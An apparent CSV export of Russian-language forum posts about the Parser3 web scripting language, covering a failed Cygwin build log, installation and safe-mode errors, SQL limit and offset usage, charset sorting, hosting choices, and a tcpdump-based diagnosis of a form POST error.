checking for signal.h... yes\
checking for unistd.h... yes\
checking for process.h... yes\
checking for stddef.h... yes\
checking for stdarg.h... yes\
checking for fcntl.h... yes\
checking for sys/stat.h... yes\
checking for io.h... yes\
checking for stdio.h... yes\
checking for errno.h... yes\
checking for ctype.h... yes\
checking for math.h... yes\
checking for crypt.h... yes\
checking for time.h... yes\
checking for sys/time.h... yes\
checking for stdlib.h... yes\
checking for string.h... yes\
checking for direct.h... no\
checking for setjmp.h... yes\
checking for memory.h... yes\
checking for new... yes\
checking for sys/file.h... yes\
checking for sys/locking.h... no\
checking for sys/types.h... yes\
checking for sys/select.h... yes\
checking for sys/resource.h... yes\
checking for winsock.h... yes\
checking for sys/socket.h... yes\
checking for netinet/in.h... yes\
checking for arpa/inet.h... yes\
checking for netdb.h... yes\
checking for socket in -lwsock32... yes\
checking for sin in -lm... yes\
checking for crypt in -lcrypt... yes\
checking for trunc... yes\
checking for round... yes\
checking for sign... no\
checking for flock... no\
checking for _locking... no\
checking for fcntl... yes\
checking for lockf... no\
checking for ftruncate... yes\
checking for getrusage... yes\
checking for gettimeofday... yes\
checking for crypt... yes\
checking for sigsetjmp... no\
checking for siglongjmp... no\
checking for qsort... yes\
checking for select... yes\
checking for timezone variable... no\
checking for daylight variable... yes\
checking for tm_gmtoff in struct tm... no\
checking for tm_tzadj in struct tm... no\
checking whether compiler supports pragma pack... yes\
checking for set_new_handler... yes\
updating cache ./config.cache\
creating ./config.status\
creating Makefile\
creating src/Makefile\
creating src/types/Makefile\
creating src/classes/Makefile\
creating src/classes/gd/Makefile\
creating src/classes/smtp/Makefile\
creating src/include/Makefile\
creating src/main/Makefile\
creating src/sql/Makefile\
creating src/lib/Makefile\
creating src/lib/ltdl/Makefile\
creating src/lib/pcre/Makefile\
creating src/lib/md5/Makefile\
creating src/lib/patches/Makefile\
creating src/targets/Makefile\
creating src/targets/cgi/Makefile\
creating src/targets/apache13/Makefile\
creating src/targets/apache13/hook/Makefile\
creating src/targets/apache13/p3runConfigure\
creating src/targets/isapi/Makefile\
creating etc/Makefile\
creating etc/parser3.charsets/Makefile\
creating bin/Makefile\
creating bin/auto.p.dist\
creating src/include/pa_config_auto.h\
configuring in src/lib/ltdl\
running /bin/sh ./configure  --enable-ltdl-convenience --cache-file=../../.././config.cache --srcdir=.\
loading cache ../../.././config.cache\
checking for a BSD compatible install... (cached) /usr/bin/install -c\
checking whether build environment is sane... yes\
checking whether make sets ${MAKE}... (cached) yes\
checking for working aclocal... found\
checking for working autoconf... found\
checking for working automake... found\
checking for working autoheader... found\
checking for working makeinfo... found\
checking whether to enable maintainer-specific portions of Makefiles... no\
checking for gcc... (cached) gcc\
checking whether the C compiler (gcc  ) works... yes\
checking whether the C compiler (gcc  ) is a cross-compiler... no\
checking whether we are using GNU C... (cached) yes\
checking whether gcc accepts -g... (cached) yes\
checking for working const... yes\
checking for inline... (cached) inline\
checking for ranlib... (cached) ranlib\
checking which extension is used for shared libraries...\
checking which variable specifies run-time library path...\
checking for objdir...\
checking how to run the C preprocessor... gcc -E\
checking for ANSI C header files... (cached) yes\
checking for malloc.h... yes\
checking for memory.h... (cached) yes\
checking for stdlib.h... (cached) yes\
checking for stdio.h... (cached) yes\
checking for ctype.h... (cached) yes\
checking for dlfcn.h... yes\
checking for dl.h... no\
checking for dld.h... no\
checking for string.h... (cached) yes\
checking for strchr... yes\
checking for strrchr... yes\
checking whether libtool supports -dlopen/-dlpreopen... no\
checking for dlopen in -ldl... (cached) no\
checking for dlopen... (cached) yes\
checking for shl_load... (cached) no\
checking for shl_load in -ldld... (cached) no\
checking for dld_link in -ldld... (cached) no\
checking for dlerror... (cached) yes\
checking command to parse  output... -V: not found\
checking host system type... i686-pc-cygwin\
checking host system type... i686-pc-cygwin\
no\
checking for _ prefix in compiled symbols... no\
updating cache ../../.././config.cache\
creating ./config.status\
creating config_auto.h\
\
Constantine@cn ~/parser3/parser3\
$ make\
Making all in src\
make[1]: Entering directory `/home/Constantine/parser3/parser3/src'\
Making all in include\
make[2]: Entering directory `/home/Constantine/parser3/parser3/src/include'\
cd ../.. && autoheader\
WARNING: Using auxiliary files such as `acconfig.h', `config.h.bot'\
WARNING: and `config.h.top', to define templates for `config.h.in'\
WARNING: is deprecated and discouraged.\
\
WARNING: Using the third argument of `AC_DEFINE' and\
WARNING: `AC_DEFINE_UNQUOTED' allows to define a template without\
WARNING: `acconfig.h':\
\
WARNING:   AC_DEFINE([NEED_MAIN], 1,\
WARNING:             [Define if a function `main' is needed.])\
\
WARNING: More sophisticated templates can also be produced, see the\
WARNING: documentation.\
cd ../.. \\\
  && CONFIG_FILES= CONFIG_HEADERS=src/include/pa_config_auto.h \\\
     /bin/sh ./config.status\
creating src/include/pa_config_auto.h\
make[2]: Leaving directory `/home/Constantine/parser3/parser3/src/include'\
Making all in main\
make[2]: Entering directory `/home/Constantine/parser3/parser3/src/main'\
c++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/pcre -I../../src/lib/ltdl     -g -O2 -c pa_commo\
n.C\
pa_common.C: In function `void http_request(String&, const String*, const\
   char*, int, const char*, int)':\
pa_common.C:236: `closesocket' undeclared (first use this function)\
pa_common.C:236: (Each undeclared identifier is reported only once for each\
   function it appears in.)\
make[2]: *** [pa_common.o] Error 1\
make[2]: Leaving directory `/home/Constantine/parser3/parser3/src/main'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/home/Constantine/parser3/parser3/src'\
make: *** [all-recursive] Error 1\
\
Constantine@cn ~/parser3/parser3\
$ uname -a\
CYGWIN_NT-5.1 cn 1.3.22(0.78/3/2) 2003-03-18 09:20 i686 unknown unknown Cygwin\
[/code]"
"16744","\"touch * \" не изменяет время некоторых файлов в поддиректориях, помогает найденная на форуме команда \"find ./ -exec touch {} \\;\". Обычный make вроде не работает, получилось использовать только gmake. Можно ли поинтересоваться, почему об этой команде не написано в документации, если без неё _ничего_ не работает? \
\
На cygwin до сих пор ничего не собирается, даже после исправления Makefile.am (строчки с комментариями (13---17) вызывали ошибку) и configure.in (удалил строчки [code]dnl We require qsort(3) and select(2).\
\
AC_CHECK_FUNCS(qsort, , AC_MSG_ERROR([No qsort library function.]))[/code], [url=\"./?id=11255\"]как советовали[/url]). \
\
Что можно сделать, и нужно ли что-то делать, чтобы размер файла был поменьше? ;-) Сейчас его размер более двух мегабайт. (дополнение --- [url=\"./?id=6917\"]можно сделать \"strip ../parser3/src/targets/cgi/parser3\"[/url] :-)"
"16745","пример в работе не проверял, но дополнения есть.\
Чтобы правильно сложить img+1 нужно писать так\
var nextimg = parseInt(img+1) \
Cимвол + является объединяющим в текстовых переменных поэтому и получалось 14+1 = 141.\
\
Теперь о javascript ресурсах. Их не так уж и много, особенно хороших и особенно на русском языке... но вот линки на то чем пользуюсь я.\
\
http://crdlx5.yerphi.am/~nerses/doc/Java/JScript/index.htm\
http://developer.netscape.com/docs/manuals/javascript.html\
http://www.xs4all.nl/~ppk/js/version5.html\
\
это все ресурсы на англицком, но достаточно неплохие, особенно первый."
"16746","рекурсивный touch.\
в CVS HEAD я давно перешёл на последние версии всего, что можно."
"16750","ведь уже почти три года прошло. ;-) "
"16752","Насколько я знаю в BeOS как-то криво реализованы блокировки файлов или вообще не реализованы. Подробнее можно спросить в SU.BEOS"
"16754","А я юзаю свободный для копирования EWE (Easy Web Editor), а для Edit Works Pro есть регистрация? Тогда я тоже хочу!!! =)"
"16755","[quote]...получилось использовать только gmake. Можно ли поинтересоваться, почему об этой команде не написано в документации, если без неё _ничего_ не работает?[/quote]\
В INSTALL есть:\
[code]  NOTE:\
  On some system you should run 'gmake'.[/code]\
\
[quote]Что можно сделать, и нужно ли что-то делать, чтобы размер файла был поменьше?[/quote]\
А strip не помог?"
"16756","можно использовать динамические XML библиотеки, правда суммарный размер не станет меньше, а выгода сомнительна"
"16757","Нужно сделать так, чтобы пользователь у себя с компьютера загружал картинку, а потом, она отображалась на моем сайте в дальнейшем. Примернро, как это организовано на сайтах знакомств - как хзапоминается введенный пользователем файл? Можно ли это реализовать средствами Парсера?"
"16761","Господа!\
Хочу у Вас спросить - если я обычный пользователь и хочу создать свой сайт (именно сайт, а\
не домашнюю страницу), имеющий не очень сложную структуру, но отличающийся большим \
объемом информации, размещенной на нем, оправдано ли в данном случае использовать Parser?\
Заранее благодарен"
"16762","делаю селект из базы\
потом\
^group_table.sort{$group_table.name} \
и\
\
^group_table.menu{\
}\
вот выводится список фамилий, а там почемуто с \"Ф\" в самом верху\
а с \"Ж\" в самом низу :("
"16763","если это по каким-то причинам невозможно, то можно отсортировать парсером, однако следует иметь ввиду, что отортировать парсером нельзя, если вы работаете с koi8-r (если ваши странички лежат в кодировке koi).\
\
чтобы понять в чем ошибка, нужно знать какие у вас установлены $responce:charset, $request:charset, в какой кодировке хранятся данные в SQL и указана ли у вас charset при подключении к серверу БД\
http://www.parser.ru/docs/lang/app3mysql.htm"
"16764","А несложную структуру сделает еще проще и понятней для тех, кто собирается поддерживать его. Если сделать грмотную систему управления контениом, то вполне возможно посадить на внесение инфы и ее ред-е рядовую домохозяйку. Вот."
"16766","1) <xsl:text>$lt;input type=\"text\" color:required=\"true\" /></xsl:text>\
\
2) использовать аттрибут пространства имен у <xsl:attribute>, это более правильно, но сам еще не использовал, и в доку лень лезть. Получится расскажи :)"
"16767","В Парсере имеются обширные возможности для создания сайтов, отличающихся большим объёмом информации.\
\
Ждём конкретных вопросов."
"16771","\
Чего опасался на то и напоролся... (нецензурная брань)\
"
"16772","Подскажите, что означает эта ошибка при установке:\
\
[Wed May 21 16:44:08 2003] /: config(0): './auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename './auto.p' [parser.runtime]\
[Wed May 21 16:44:08 2003] [error] [client 195.5.46.160] Premature end of script headers: /usr/home/mysite/html/cgi-bin/parser3.cgi\
"
"16773","а ваш системный администратор настроил потенциально дырявую систему."
"16775","Почему\
forum_message.forum_message_body_id\
\
Не нахожу такого места в таблице \
хотя нашёл вот такое\
forum.forum_message_id\
Заменить на \
forum_message.forum_message_id\
\
Я подозреваю что я чегото не понимаю или незнаю или ..."
"16777","Я чего-то туплю:\
а что надо написать в .htaccess для папки, в которой мне парсинг .html не нужен?\
Или так нельзя?"
"16778","http://www.parser.ru/forum/?id=8753"
"16780","Миш, у меня стоит Opera 7.10 build 2840 и проблема есть :(\
А вообщето у Netscape подобных браузеров это всегда было, как ни печально..."
"16781","я имел в виду, что о [i]touch[/i] ничего не сказано в документации. Также могу заметить, что предложение про использования [i]gmake[/i] относится к системам, где нет простого [i]make[/i]. \
\
strip помог. До его использования размер файла был 2,3 МБ, а после --- 0,5 МБ. \
\
Всем спасибо за участие. ;-)"
"16783","Я понял в чем ошибка. Все получилось. Спасибо! \
А в чем моя система дырявая? Я просто начинающий и на сервере могут быть дыры.\
Буду очень благодарен за ответ.\
\
"
"16784","мне надо закатать на 200 болванок наш сайт(сделан естественно на эхотаге), но в статье говорится о конверте CGI - Perl2Exe, а у меня-то parser.cgi.\
и наткнулся на такую вещь: [url=\"http://www.computerra.ru/hitech/novat/25860/\"]subject[/url].\
\
вот и появился вопрос: может кто ползовался этой софтинкой или чем-то подобным или проще сделать \"срез\" с помощью Offline Explorer?\
а то сильно жаль отдавать на сторону свои скрипты."
"16785","Подскажите пожалуйста, почему когда создаю форму и в ней не заполняю ни одного поля, после нажатия на кнопку отправить\
браузер ее не находит (в форме action=\"./\"). А в 6 все нормально."
"16786","Я написал каркас для странички встроил всё это ело в парсер, чтобы было удобней, а в центре страницы необходимо вставить текстовый блок. Для удобства пытался вызвать блок из файла, или присвоить его переменной типа $text[], но возникла проблема, как вставить в текст символы форматирования типа &nbsp;? Если вызываю из файла, то символы принимаются как текст, а если в переменной, то всплывает ошибка отладчика. Что делать?"
"16788","и parser заработал в  safe mode, то ваша система потенциально более надёжная, чем казалось мне поначалу, а ваш системный администратор молодец.\
\
потенциальных дыр множество, и parser вам только помогает, но не освобождает от необходимости о них думать.\
\
что-то написано здесь:\
http://httpd.apache.org/docs/misc/security_tips.html\
\
а вообще тема обширна, предлагаю владеющими ссылками на хорошие материалы по теме ссылки публиковать."
"16789","моя опера (как 7.10, так и 7.11) прекрасно показывает http://ya.ru/ - тут задается высота таблицы (в процентах)\
\
P.S. Опера никогда не была и не будет \"Netscape подобным броузером\". Это собственна разработка одноименной норвежской компании."
"16790","Участники форума! Я уже задавал вопрос по поводу использования Парсера при поддержке сайта. Вы \
просили уточнить.. Так вот:\
1. Не программист\
2. Знания Html,CSS, чуть DHTML\
3. Изучать Perl нет времени, да и вообще к программированию меня не очень тянет, если \
только JavaScript можно попробовать освоить,ну или подобное скриптовое что-то...\
4. я студент, поэтому главный недостаток - недостаток денег, и на хороший хостинг\
с хорошим пакетом сопутствующих услуг (обычно, хороший хостинг-дорогой хостинг) я вряд ли\
могу расчитывать. Вести весь контент будет один человек(я,прошу прощения за нескромность).\
5.Есть идеи по поводу дизайна сайта, но средствами Html и СSS это будет реализовать \
очень муторно а некоторые особенности внешнего вида сайта (Так, как его задумал), наверное\
на каскадных таблицах стилей просто не сделать, хотя, официальную спецификацию CSS2 я\
недавно скачал и еще с ней предстоит разобраться...\
6. Всем заранее большое спасибо за \"мысли по поводу\",просто разработка сайта пока в зачаточном состоянии и мне нужно знать, браться ли мне за Парсер или нет ( в противном случае забацаю\
 тогда с горя сайт на Народе :).. а скорее всего вообще не буду его делать -- почему, Вы, наверное поняли...\
\
Удачи в делах!"
"16791","[quot]1. Не программист[/quot]\
простое на парсере делается просто. сложное, как и на любом другом языке - сложно, ведь оно-же сложное ;)\
\
[quot]2. Знания Html,CSS, чуть DHTML[/quot]\
для создания сайта они пригодятся ;)\
\
[quot]3. Изучать Perl нет времени, да и вообще к программированию меня не очень тянет, если только JavaScript можно попробовать освоить,ну или подобное скриптовое что-то...[/quot]\
я бы осмелился утверждать, что для web программирования парсер значительно проще perl-a. можно начать с простого: взять обычные html странички и просто в них добавлять небольшую функциональность.\
единственное, что [b]обязательно[/b] нужно будет узнать про парсер - это про его спецсимволы.\
\
[quot]4. я студент, поэтому главный недостаток - недостаток денег, и на хороший хостинг с хорошим пакетом сопутствующих услуг (обычно, хороший хостинг-дорогой хостинг) я вряд ли могу расчитывать.[/quot]\
\
главное ты по моему не сказал - сколько ты [b]готов[/b] платить.\
например, есть хостинги, где работает парсер и которые стоят ~$1 в месяц (10 MB места + 500 MB трафика). это дорого? ([url=\"/hosters/\"]тут про подобные хостинги можно почитать[/url])\
\
[quot]Вести весь контент будет один человек (я,прошу прощения за нескромность).[/quot]\
ну так тебе-же будет проще ;)\
\
[quot]5.Есть идеи по поводу дизайна сайта, но средствами Html и СSS это будет реализовать очень муторно а некоторые особенности внешнего вида сайта (Так, как его задумал), наверное на каскадных таблицах стилей просто не сделать, хотя, официальную спецификацию CSS2 я\
недавно скачал и еще с ней предстоит разобраться...[/quot]\
я так и не понял на чем ты его решил делать. если flash, то тут парсер думаю тебе не особо поможет.\
\
[quot]6. ...просто разработка сайта пока в зачаточном состоянии и мне нужно знать, браться ли мне за Парсер или нет ( в противном случае забацаю тогда с горя сайт на Народе :).. а скорее всего вообще не буду его делать -- почему...[/quot]\
я не пойму, что тебе мешает скачать Apache+парсер (или Денвер), установить это локально, попробовать и решить для себя? в любом случае, этот сайт может у тебя работать локально, динамика, которую ты реализуешь на парсере поможет тебе упростить создание сайта (не надо например при исправлении меню править его будет в N страничках) а выкладывать полученые и сграбленые странички сможешь хоть на народе...\
"
"16792","... а дальше-то как? Как ставить ПАРСЕР на внешний хост?"
"16794","Мочи в .html only\
Меньше проблем и меньше вопросов к тебе...\
MHO"
"16795","Кто что хорошего / плохого скажет.\
Стоит ли переходить с 5-6ю сайтам с Валуя на Петерхост?\
\
Да, а где еще можно эту пачку разместить так, чтобы удобно все было и на одном аккаунте.\
\
Всем привет!"
"16797","Совсем забыл спросить, можно ли сделать на Парсере форум (очень нужен!) без Perl?"
"16798","а эти:\
\
http://www.mtv.ru/forums/\
http://www.f1.mts.ru/forums/\
http://www.pluscom.ru/forums/\
...\
и т.д.\
\
???"
"16803","а насчет создания сайта сразу на Parser - поддерживаю...\
я не наворачивая своих классов и прочего сваял за майские праздники (ну и на работе слегка) простенький сайт, к тому же, одновременно изучая сам Parser... понятно, что речь идет о своей структуре и навигации, а не просто стянутое из примеров ;-)"
"16804","1. делается динамический локальный сайт\
2. берется программа на подобие TeleportPro (вариантов много)\
3. инсталлируется, запускается, указывается ip/host твоего локального сайта\
4. прога достает тебе пачку готовых html страничек, которые ты выкладываешь на narod (естественно о всей динамике на хостинге можно забыть)\
\
когда вносишь изменения - вносишь их на локальной машине, после чего повторяешь пункты 3-4\
"
"16807","картинки что-то кроме цифр?\
При этом файл шрифта тоже должен быть расположен вертикально?\
[code]\
А\
Б\
В\
...\
Я\
\
[/code]\
Или все же можно юзать шрифты бай АртЛебедев?\
\
"
"16810","http://bs.yandex.ru/resource/gear600.swf?link1=http://bs.yandex.ru/count/43AEF264/316/1850/00000000/26509/83950"
"16812","если интересуют подробности, по поищи в этом форуме по ключевому слову 'RSS'\
\
P.S. не спрашивайте меня, зачем это для данного форума. я не знаю."
"16814","И человек просил в zip архиве с голубой коёмочкой а не специально искревленные куски конструкции.\
\
PS: попросили вобчем вот что. Запаковать http://parser.ru/forum/ и выложить. Только лично мне это не надо.\
\
Вот это мне пондравилось: http://www.parser.ru/forum/?id=13687"
"16815","В документации такого примечания не обнаружил, а надо.\
Смысл в том, что нельзя использовать $.offset() без $.limit().\
\
Для тех кто совсем не знаком с MySQL :), поясню.\
\
Для того чтобы выбрать из базы только 20 записей, SQL-запрос содержит следующее:\
[code]select id,date,head,body,author from news order by date desc limit 20[/code]\
\
А для того чтобы не выбирать из базы первые 20 записей, SQL-запрос содержит следующее:\
[code]select id,date,head,body,author from news order by date desc limit 20,100[/code]\
\
Это число 100 указывает сколькью все-таки записями надо ограничиться. То есть, когда мы укажем только один offset, это неизбежно приведет к ошибке. Поэтому надо будет указать еще и limit равный, в данном примере, 100.\
\
Извините за очевидные вещи. Но это должно быть указано в доках.\
"
"16816","на 404 ошибку проверяю урл, если подходящий - загружаю файл. В опере все работает на ура, эксплоер показывает стандартное окно закгрузки файла с выбором сохранитоь на диске или открыть, а дальше пишет что, узел интернет недоступен или не найден. Что за фигня?"
"16817","++img и --img в принципе, работает, но только в одном месте, т.к. у меня есть ещё конструкция типа img+1+'.jpg'\
"
"16825","ИМХО, Весь прогресс строится на изучении и анализе изученного. Если вы собрались творить прогресс, значит вы знаете все изученное достаточно, чтобы проанализировать, сделать выводы и усовершенствовать. => ЕСЛИ вы знаете как написать форум, тем более на Parser'е, ТО думаю СКЛИПАТЬ простенький форумчик не составит труда. \
\
Врядли \"автор\" Шатла не может вбить гвоздь."
"16826","[b]<-- кто ищет, тот найдёт...[/b]\
"
"16831","При отображении вышеозначенной страницы форма ввода сначала появляется вверху экрана, затем прыгает в центр, оставляет нефункциональный \"след\" на прежнем месте."
"16832","и, пожалуйста, поясните, что в его работе неверно."
"16833","если не лень, возьмите где-нибудь wget, и скажите в командной строке\
[code]\
wget -d http://server/link\
[/code]\
\
если лень, не берите, и просто скажите в командной строке\
[code]\
telnet server 80\
GET /link HTTP/1.1<Enter>\
HOST: server<Enter>\
<Enter>\
[/code]\
\
попробуйте на маленьком текстовом файле."
"16835",":)"
"16836","Вот это падает:\
[code]^connect[$SQL.connect-string]{\
$news[^table::sql{\
select id,data,head from localnews order by data desc\
}[$.offset(20)]\
]}[/code]\
\
Вот это нет:\
[code]^connect[$SQL.connect-string]{\
$news[^table::sql{\
select id,data,head from localnews order by data desc\
}[$.limit(20)$.offset(20)]\
]}[/code]\
"
"16837","Я выводил, и что? Если тебе текст нужен, делай гифчик вертикальный, если еще что, опиши подробней задачу."
"16840","Есть у нас wget, все прошло просто замечательно файл сохранен. Кроме того, я ведь сказала, что в опере то все замечательно работает.\
У меня опять подозрение, что в експлоере не работает из-за 404 ошибки. "
"16841","по форуму искал - ничего."
"16843","Как настраивать таймаут приподключении к хттп.\
Вот так:\
[code]\
$bank[^file::load[binary;http://www.parser.ru/forum/][$.timeout(5)]]\
[/code]"
"16844","дано - в базе сидит таблица вида [code]id > parent_id > thread > title > body[/code]из этой таблицы мы строим дерево, способом, указанным нам мишей в [u]/example/trees/[/u] Всё работает.\
\
Вопрос - как построить дерево, отобразив все корневые ветки и [b]раскрыть только ту[/b] в глубине которой сидит веточка с заданным id (как тут - http://www.gfk.de/index.php?contentpath=http%3A//www.gfk.de/geschfelder/ad_hoc/)? Я понимаю, что вопрос элементарный, я его даже как-то решал раньше, но то ли это вечер пятницы влияет, то ли я просто туплю, но [i]\"не выходит каменный цветок\"...[/i]"
"16845","...и далее в методе, который оббегает хеш таблиц и выводит дерево добавь один hash lookup.\
\
или тебе совсем подробно надо? ;)"
"16846","Чтобы напис'ать форум на Parser - дстаточно знать только HTML и Parser???"
"16847","ещё нужно знать mysql... и ваще рубить фишку %-)"
"16848","Есть у нас на хостинге (FreeBSD 4.6-STABLE i386 + ru-apache-1.3.27.30.16) клиент, у которого не работает ваш parser, ругается вот так:\
Unhandled Exception (Debug)\
post_size(0) != content_length(74)\
\
Ошибка появляется после сабмита формы поиска по сайту:\
<form action=\"$MAIN:pathToSite\" method=post>\
   <tr>\
      <td><input name=\"keywords\" size=\"25\" maxlength=\"50\" value=\"^if($form:action eq 'search'){$form:keywords}{поиск по сайту}\" onFocus=\"this.value=''\" type=\"text\"></td>\
      <td style=\"padding-top:1px\">\
         <input type=hidden name=\"action\" value=\"search\">\
         <input name=\"go\" value=\"Искать\" type=\"submit\">\
      </td>\
   </tr>\
</form>\
\
Клиент жаждет решения проблемы, parser кроме \"post_size(0) != content_length(74)\" в свой лог больше ничего не пишет.\
parser установлен у клиента в домашней директории (как я понял он стянул cgi-модуль).\
\
Буду очень благодарен за помощь или хотя бы намёк, в какую сторону копать.\
\
thanx"
"16849"," что в виде .cgi скрипта это возможно. Но в разделе \"скачать\" нет .cgi версии, только .exe\
Что делать?"
"16851","Ответьте, пожалуйста, почему может возникать такая ситуация."
"16853","не мудри, дай линк если такой грамотный - снизишь трафик на сервере."
"16855","легкое уточнение - IIS 5.0"
"16857","самое примечательное то, что в разделе сказать под ссылкой на зазипованый exe файл написано это..."
"16858","Открываю архив: \
parser3_3_0_0007_win32_cgi.zip (27.12.2002 140,7 КБ) - CGI скрипт\
\
и нахожу там .exe шник. Мой провайдер боится этого ехе-шника как огня и отказывается ставить. Вот такой винигрет!"
"16859","похоже, что в вашем MSIE настроен proxy, который работает некорректно.\
\
и увольте от дальнейшего гадания: это ваши локальные проблемы. parser тут точно не виноват."
"16860","...то возможно вы посмотрите то что там рекомендовалось...\
\
возможно CharsetDisable игнорируется в .htaccess...\
\
мое мнение: мудрит русский апач. парсер сам занимается перекодированием данных, и для сайта, который работает с парсером все функции русского апача по перекодированию нужно выключить."
"16861","а что будет работать? . ... или это шутка?"
"16862","все таки обычно исполняемые файлы на платформе windows имеют именно такое расширение.\
\
не поверишь, но perl для windows тоже имеет расширение exe и ему ничего не мешает нормально обрабатывать файлы с расширением pl.\
\
по моему вы с вашим провайдером не поняли друг друга, или он пудрит кому-то мозги..."
"16863","ошибка означает следующее:\
от browser в server пришёл post запрос, в заголовке которого написано \
[code]content-length:74[/code]\
однако попытки считать это количество байт из stdin CGI процесса не увенчались успехом — было считано 0 байт.\
\
можно sniffer'ом подсмотреть, что же именно передавал browser, и, если ничего не передавал: проблема клиента или его proxy."
"16864","... похоже твой провайдер под термином \"cgi-скрипт\" понимает программу на каком-либо интерпретируемом языке [Perl, Phyton] ... Парсер же может существовать только в виде бинарника."
"16865","если кто-то боится содержимого, он может проверить самостоятельно исходники на предмет закладок, и самостоятельно скомпилировать: для win32 это гораздо проще, чем под unix."
"16866","поначалу он, по моему, хотел впарить дедикейтед сервер под мою невинную просьбу, а это 250 денег в месяц.\
\
** не поверишь, но perl для windows тоже имеет расширение exe и ему ничего не мешает нормально обрабатывать файлы с расширением pl.\
\
с этим никто не спорит, даже мой хост провайдер :) Но суть в том, что такое Perl знают даже продвинутые ламеры во всем мире, а про парсер за пределами нашего отечества имеют довольно смутное представление ;)"
"16867","ты абсолютно прав, но в обязанности хостадминов вряд ли входит такого рода деятельность."
"16868","Отснифал.\
Ошибка pareser'a: post_size(0) != content_length(48)\
\
Вот, что показал tcpdump:\
[skipped http headers and unneccessary packets]\
0x0030   5ada 7bca 436f 6e74 656e 742d 5479 7065        Z.{.Content-Type\
0x0040   3a20 6170 706c 6963 6174 696f 6e2f 782d        :.application/x-\
0x0050   7777 772d 666f 726d 2d75 726c 656e 636f        www-form-urlenco\
0x0060   6465 640d 0a43 6f6e 7465 6e74 2d4c 656e        ded..Content-Len\
0x0070   6774 683a 2034 380d 0a0d 0a6b 6579 776f        gth:.48....keywo\
0x0080   7264 733d 6173 6626 6163 7469 6f6e 3d73        rds=asf&action=s\
0x0090   6561 7263 6826 676f 3d25 4539 2544 3325        earch&go=%E9%D3%\
0x00a0   4342 2543 3125 4434 2544 38                    CB%C1%D4%D8\
19:37:12.683846 212.9.224.18.4407 > 212.9.224.8.80: . [tcp sum ok] ack 910 win 57920 <nop,nop,timestamp 11265785 1524268001> (DF) (ttl 64, id 5232, len 52)\
0x0000   4500 0034 1470 4000 4006 be25 d409 e012        E..4.p@.@..%....\
0x0010   d409 e008 1137 0050 5245 d254 c78e 19ee        .....7.PRE.T....\
0x0020   8010 e240 564f 0000 0101 080a 00ab e6f9        ...@VO..........\
0x0030   5ada 7be1                                      Z.{.\
19:37:12.841329 212.9.224.18.4407 > 212.9.224.8.80: F [tcp sum ok] 637:637(0) ack 910 win 57920 <nop,nop,timestamp 11265801 1524268001> (DF) (ttl 64, id 5239, len 52)\
0x0000   4500 0034 1477 4000 4006 be1e d409 e012        E..4.w@.@.......\
0x0010   d409 e008 1137 0050 5245 d254 c78e 19ee        .....7.PRE.T....\
0x0020   8011 e240 563e 0000 0101 080a 00ab e709        ...@V>..........\
0x0030   5ada 7be1                                      Z.{.\
\
Как видно сервер получил Content-Type от моего броузера равный 48 байтам. Далее броузер ему и передаёт эти 48 байт:\
0x0070   6774 683a 2034 380d 0a0d 0a6b 6579 776f        gth:.48....keywo\
0x0080   7264 733d 6173 6626 6163 7469 6f6e 3d73        rds=asf&action=s\
0x0090   6561 7263 6826 676f 3d25 4539 2544 3325        earch&go=%E9%D3%\
0x00a0   4342 2543 3125 4434 2544 38                    CB%C1%D4%D8\
\
На что parser довольно странно реагирует сообщением post_size(0) =("
"16869","CharsetDisable нормально отрабатывается.\
По поводу русского апача: в php/perl все post'ы работают нормально.\
Проблема только с parser."
"16870","Hello,\
\
  Your website is currently located on a Windows 2000 server running IIS 5.0.  This server and your plan does support CGI scripting, however that was only a small part of the documentation that you referenced.  Additionally, the file in question is an executable (.exe) which we cannot run on a shared server as we have no idea what it will do - it could cause security or stability issues.  If you can simply upload the *.cgi files and run them, then you have permission to do so, however you are restricted to operating within your own web directory on the server so if you require a global change it will not be possible.\
\
  If this application can be run without making any server-wide changes then you are free to do so; if you need write permissions on any of your own directories we'd be happy to assist you.  Please let me know exactly what it is you require and I can be more specific with my descriptions of any limitations you might have.  If you have any further questions, please let me know.\
\
"
"16871","Value Hosting Plan:\
[quot]\
Programming/Scripting features\
-CGI capable accounts with Perl scripting support\
-Microsoft Active Server Page (ASP)\
-ASPMail server component for sending forms through email\
-ASPupload, ASPImage, ASPEncrypt, ASPQMail, ASPEmail, ASPHTTP\
[/quot]\
\
по моему читать это нужно было до того, как останавливаться на данной комбинации хостер/парсер\
\
P.S. мог бы сам давно запостить сюда данную информацию\
P.P.S. не увидел у этого хостера ничего примечательного, из-за чего за него стоило-бы держаться."
"16873","Есть основное меню:\
\
раздел1 www.host.ru/1/\
раздел2 www.host.ru/2/\
фото	www.host.ru/photo/\
[code]\
^if($sections.uri eq $request:uri)\
[/code]\
все совпадает раздел активен.\
\
Если выбрать подраздел галлерей\
www.host.ru/photo/gallery/\
то соответственно он перестает быть активным.\
оператор [code]le[/code] реагирует только на число символов и поэтому активными становятся несколько разделов.\
\
Есть ли другой путь, или какие-то поправки в этом?"
"16874","/home/cqi-glob/parser3/readme.txt"
"16876","Ночью об этом подумал, но проверить не смог еще, 43 часа без сна, завтра опробую. спасибо."
"16877","А если я ВООБЩЕ НЕ РУБЛЮ В МайСиКьюЭл? Смогу... или паралельно его начать изучать..."
"16879","А как это? "
"16880","Я знаю почему - руки не оттуда растут :)\
\
@ttr\
$temper1[первая ссылка]\
$temper2[вторая ссылка]\
$zxz=[1]\
<form method=\"get\">\
<a href=/test/?nom=1>$temper1</a>\
<a href=/test/?nom=2>$temper2</a>\
<h2>Результат:</h2>\
<h1>\
^if (^form:nom.int[]==$zxz) \
	{$temper1}\
	{$temper2}\
</h1>\
\
И ещё где можно посмотреть как строить GET запросы\
\
Заранее благодарю\
"
"16881","У парсера нету такой конструкиии:\
[code]\
$zxz=[1]\
[/code]\
\
И такой нету:\
[code]\
^if (^form:nom.int[]==$zxz) \
{$temper1}\
{$temper2}\
[/code]\
\
И еще я обычно атрибуты заключаю в кавычки: <a href=\"/test/?nom=1\">$temper1</a>\
\
Кроме того, ты не написал, [b]как[/b] не работает."
"16882","Unhandled Exception (Debug)\
/www/asha.pp.ru/html/test/auto.p(15:1): 'ttr' invalid special name. valid names are 'CLASS', 'USE' and 'BASE'\
exception.type=parser.compile "
"16884","вот что получилось:\
\
@ttr\
$temper1[первая ссылка]\
$temper2[вторая ссылка]\
$zxz[1]\
<form method=\"get\">\
